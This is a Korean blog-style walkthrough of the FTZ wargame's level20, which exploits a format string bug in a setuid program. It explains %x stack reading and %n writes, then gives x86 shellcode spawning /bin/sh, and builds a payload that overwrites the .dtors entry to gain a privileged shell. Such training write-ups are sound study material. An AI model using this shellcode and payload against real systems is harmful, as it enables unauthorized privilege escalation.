[FTZ] level20
이제 마지막 문제이다. level20으로 로그인을 한 다음 문제를 보면 다음과 같다.
이번에도 코드만 있는데
#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
기존 문제들은 입력값 길이를 넘치게 넣을 수 있어, bof 로 문제를 풀 수 있었는데
이번 문제는 char bleh[80];에 따라 bleh는 80bytes이고 fgets(bleh,79,stdin);으로 79bytes까지만 입력이 가능하기에 bof 공격이 불가능하다.
대신에 printf(bleh);
이부분에서 입력값에 대한 형식(포맷)을 지정해 주지 않았기 때문에 포맷스트링 공격/버그(Format String Bug, FSB) 사용이 가능해진다.
[참고] 2023.02.06 - [시스템/시스템 해킹] - [시스템 해킹] Format String Bug (FSB, 포맷 스트링 공격)
gdb로 분석은 불가능하다.
FSB를 이용해 입력값에 %x으면 메모리영역에 있는 값을 확인할 수 있다.
$ ./attackme
AAAA %8x %8x %8x %8x
위와 같이 입력을 하면 결과가 다음과 같다.
앞에 아무런 지정없이 %x를 쓸 경우 주소값이 출력된다. 스트링 지시자는 지역변수이기 때문에 스택이 들어간다. 스택에 들어있는 내용이다.
AAAA의 16진수인 414141이 네 번째 %8x에서 출력된 것으로 통해서,
bleh뒤에 dummy값이 4bytes * 3개 = 12bytes가 있다는 것을 알 수 있다!
다음으로 활용할 수 있는 것은 %n이다.
%x는 메모리 값을 읽어올 수 있으나 변조는 불가능한데 %n은 값을 입력할 수 있기 때문이다.
%n은 %n은 이전까지 입력되었던 문자열의 길이(byte) 수를 다음 변수에 그 값을 저장한다.
%n이 저장할 다음변수는 포인터주소로 준다.(저장하고 싶은 변수의 위치)
[참고] %n 이용법
%n의 의미는 이 주소 안에다 전체 strlen값으로 대체하라는 뜻.
#include <stdio.h> int main(void) { int n; printf("input:"); printf("1234%n\n",&n); printf("n value:"); printf("%d\n",n); printf("input:"); printf("%1234d%n\n",n,&n); printf("n value:"); printf("%d",n); return 0; }
첫 번째 printf("1234%n\n",&n);에서 1234%n에서 %n전까지의 길이를 저장하니까 n은 4
두 번째 printf("%1234d%n\n",n,&n);에서 %1234d%n에서 %n전까지의 길이를 저장하는데 %1234d이면 공백이 1234가 입력이 되니까 그 결과 n은 1234가 된다.
특정한 주소의 값을 우리가 원하는 주소값으로 넣는 게 목표
→ %n을 이용하여 특정 주소를 가리키는 값을 문자열의 개수를 조절하여 원하는 주소크기 문자열로 만들어 해당 길이를 대입.
* 추가로 특정 주소에 주소값을 넣기 위해서 10진수로 변경하면 범위를 벗어나기 때문에 주소를 반으로 나눠서 작업해야 할 수도 있다.
특정한 주소의 값을 우리가 원하는 주소값으로 넣는 게 목표 = [main함수의 RET]를 [쉘 주소]로 덮어야 한다.
쉘주소는 환경변수에 등록해서 얻으면 되지만,
기존의 bof처럼 변수를 오버플로우 해서 RET를 덮는 것이 불가능하고,
RET 주소를 정확하게 알아야 한다. 하지만 gdb로는 분석이 불가하기 때문에 다른 방법이 필요하다.
☞ 이 부분은 해결하기 위해서는 .dtor라는 소멸자를 알아야 한다...
C언어는 전역 생성자 .ctor(constructor), 전역 소멸자 .dtor(destructor)가 있다.
.ctor는 main함수전에 실행되고, .dtor은 main함수 후에 실행된다.
그래서 .dtor영역에 쉘코드 주소를 넣으면 된다고 한다...
.dtor 주소를 얻기 위해서 objdump 명령어로 보게 되면,
$ objump -h ./attackme
.dtor가 0x08049594 부터 시작된다. 여기다가 +4를 해야 하는데 그 이유는 null이 아닐 때까지 명시된 함수를 실행을 위해서라고 합니다.
그러면 덮어쓸 주소는 0x08049598이 된다.
이제 쉘코드 구하면,
1. 환경 변수에 쉘코드 넣기
$ export EGG=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
2. 쉘코드 주소 구하기
#include <unistd.h>
int main(void)
{
printf("%p\n",getenv("EGG"));
return 0;
}
쉘주소는 0xbffffc7e 이 된다.
여기까지 내용을 정리하면,
1. 덮어쓸 주소(.dtor주소) : 0x08049598
2. 쉘 주소 : 0xbffffc7e → 10진수로 3221224574
%3221224574c → 3221224574 만큼의 공백 할당
AAAA\x98\x95\x04\x08%3221224574c%n
☞ 길이 값 3221224574(0xbffffc7e)를 0x08049598 주소가 가리키는 곳의 값으로 넣는다는 의미이다.
☞ 공백의 길이가 3221224574이고 이 값을 0x08049598의 위치에 넣는다는 의미이다.
여기서 수정해야 할 사항은,
1) 앞에서 확인한 것처럼 dummy값을 넣어야 한다.
AAAA\x98\x95\x04\x08%3221224574c%n
☞ AAAA\x98\x95\x04\x08%8x%8x%8x%3221224574c%n
2) 3221224574(0xbffffc7e)가 크기가 너무 크기 때문에 반을 나눠서 넣어야 한다.
- 반으로 쪼개면 bfff, fc7e로 나눠진다.
(16진수) bfff → (10진수) 49151
(16진수) fc7e → (10진수) 64638
- 위의 주소를 반을 나누어 2byte씩 넣게 되면, 앞에 덮어쓸 주소(.dtor)도 두 번 넣어주어야 한다.
처음에는 0x08049598에 넣고 다음은 +2byte를 하여 0x0804959a에 넣는다.
0x08049598 | 64638(fc7e) |
0x0804959a | 49151(bfff) |
이때의 스택구조를 보면 아래와 같다.
* 'AAAA'는 %c%n 형식을 위해서 넣는 문자이다.
이런 형식이 되어야 한다.
이 형식을 담아서 수정을 하면
☞ AAAA\x98\x95\x04\x08%8x%8x%8x%3221224574c%n
→ AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64638c%n%49151c%n
3) %c가 나오기 전까지 출력되는 문자열 길이만큼 빼주어야 한다.
출력되는 문자 : AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x
☞ 40bytes
AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64638c%n%49151c%n
앞쪽의 길이 64638 - 40 = 64598
☞ AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64598c%n%49151c%n
4) 길이값 조절
~%64598c%n%49151c%n 이 부분에서
앞에40bytes문자열+64598bytes=64638(fc7e)bytes만큼의 길이가 첫번째 %n에 의해 저장이 되고 그다음 %n은 다시 처음부터 길이를 재기 때문에 64638길이와 49151길이가 합쳐진 길이가 반영이 된다.
그래서 뒤에 길이 값을 49151(bfff)bytes로 만들기 위해서
64638(fc7e) + @ = 49151(bfff) 식을 만족시키는 @를 찾으면 된다.
하지만 49151(bfff)의 크기가 64638(fc7e)보다 더 작기 때문에, bfff 앞에 1을 붙여서 계산을 하면 된다.
* 0x1이 다음 메모리에 써지기 때문
계산을 하게 되면, 1bfff - fc7e = @ 로
@ = c381 (10진수로 50049) 이 된다.
AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64598c%n%49151c%n
☞ AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64598c%n%50049c%n
위의 정보를 모두 종합해서 페이로드를 만들면 다음과 같다.
(python -c 'print "AAAA"+"\x98\x95\x04\x08"+"AAAA"+"\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64598c"+"%n"+"%50049c"+"%n"';cat) | ./attackme
해당 페이로드를 실행하면,
와 드디어 성공!
Reference :
https://orange-makiyato.tistory.com/9
https://grayfieldbox.tistory.com/entry/FTZFree-Training-Zone-Level-20